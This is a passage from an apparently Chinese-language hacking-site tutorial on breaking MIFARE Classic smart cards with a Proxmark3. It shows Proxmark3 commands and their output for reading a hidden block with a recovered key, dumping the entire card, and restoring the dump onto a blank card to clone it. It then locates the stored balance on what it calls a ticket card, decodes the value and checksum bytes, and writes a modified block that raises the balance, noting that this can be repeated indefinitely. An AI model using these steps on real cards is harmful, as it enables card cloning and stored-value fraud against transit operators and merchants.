欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

智能卡破解入门二三事

来源:本站整理 作者:佚名 时间:2017-08-18 TAG: 我要投稿
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin... 
注意:在早期Nested 攻击命令中,输入d(参数)将key转储到dumpkeys.bin文件,才能够保证继续使用 MIFARE卡其它指令。现在我们有一个新key,080808080808。该key允许我们读取隐藏块。
proxmark3> hf mf rdbl 5 A 080808080808 
--block no:5, key type:A, key:08 08 08 08 08 08           
#db# READ BLOCK FINISHED                
isOk:01 data:00 0a 00 00 ff f5 ff ff 00 0a 00 00 05 fa 05 fa 
dumpkeys.bin文件已经准备好,我们可以转储整个卡的数据,并将其写入到空白的MIFARE卡上。
proxmark3> hf mf dump 1 
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
...omitted for brevity...
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block  0 of sector  0. 
...omitted for brevity...
Successfully read block  3 of sector 15. 
Dumped 64 blocks (1024 bytes) to file dumpdata.bin 
借助dumpdata.bin文件,我们可以将此卡的内容还原到另一张卡上,输入命令:hf mf restore 1,然而,克隆一张MIFARE卡效率还是很低(totem pole),使用新key,我就可以读写一张空白卡,这种卡通常被作为车票卡,一些人可能会想到是否可以修改里面的金额。先来看看卡中部分转存数据
bc4e a535 6288 0400 8500 b42e f0bb 6aa8 
0000 0000 0000 0000 0000 0000 0000 0000 
0000 0000 0000 0000 0000 0000 0000 0000 
ffff ffff ffff ff07 8069 ffff ffff ffff 
4f54 4f54 0050 0082 0136 000b 0000 0000 
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa 
0000 0000 0101 0000 0000 0001 0100 0000
得到的数据不能解析,再次重复以上步骤,然后查看数据
bc4e a535 6288 0400 8500 b42e f0bb 6aa8 
0000 0000 0000 0000 0000 0000 0000 0000 
0000 0000 0000 0000 0000 0000 0000 0000 
ffff ffff ffff ff07 8069 ffff ffff ffff 
4f54 4f54 0050 0082 0136 000b 0000 0000 
3205 0000 cdfa ffff 3205 0000 05fa 05fa 
0000 0000 0101 0000 0000 0001 0100 0000 
其中一行数据由
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
变为
3205 0000 cdfa ffff 3205 0000 05fa 05fa
当时虽然没有立刻看明白这行数据意思,但已经明白卡上肯定存在一个可以变化的数值,最简单的一个假设是,卡正在存储金额,然后扣去交易额。我们的起始价值(7.75),一个项目的开支成本(2.25)和差值(5.50)。
我们可以将这些数据转为16进制,为了简化搜索,我们只需75,将其转换为十六进制(0x4b),然后搜索第一个转储数据值:
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
这样我就发现了卡存储金额的部分了,特别是考虑到以下字节0×07。因此,我们应该能够通过修改这些字节来增加我们卡的金额。
你可以不需要理解字节的详细含义,它们并不重复,在前面两次转储数据,可以看出没有什么规律,这一点上需要小心谨慎,用ffff(前文)替换我们的金额数值,仅需要重新将获取的数据写入智能卡中。
注意:有人指出其中两个数值b4f8和4b07加起来是ffff,其实这是校验和的数值,读卡者可以利用这个来确认卡的金额是否在交易完成后更新。
我已经将卡中数值更改到17.50,我们可以采取新的转储数据并保存第5块的结果(存储值)。
Block 0: bc4e a535 6288 0400 8500 b42e f0bb 6aa8 
Block 1: 0000 0000 0000 0000 0000 0000 0000 0000 
Block 2: 0000 0000 0000 0000 0000 0000 0000 0000 
Block 3: ffff ffff ffff ff07 8069 ffff ffff ffff 
Block 4: 4f54 4f54 0050 0082 0136 000b 0000 0000 
Block 5: 3211 0000 cdee ffff 3211 0000 05fa 05fa 
Block 6: 0000 0000 0101 0000 0000 0001 0100 0000 
现在我们可以无限制将卡中数值更改到17.50。
写入(块)
proxmark3> hf mf wrbl 5 A 080808080808 32110000cdeeffff3211000005fa05fa 
--block no:5, key type:A, key:08 08 08 08 08 08          
--data: 32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa          
#db# WRITE BLOCK FINISHED                

上一页  [1] [2] [3] [4] [5]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载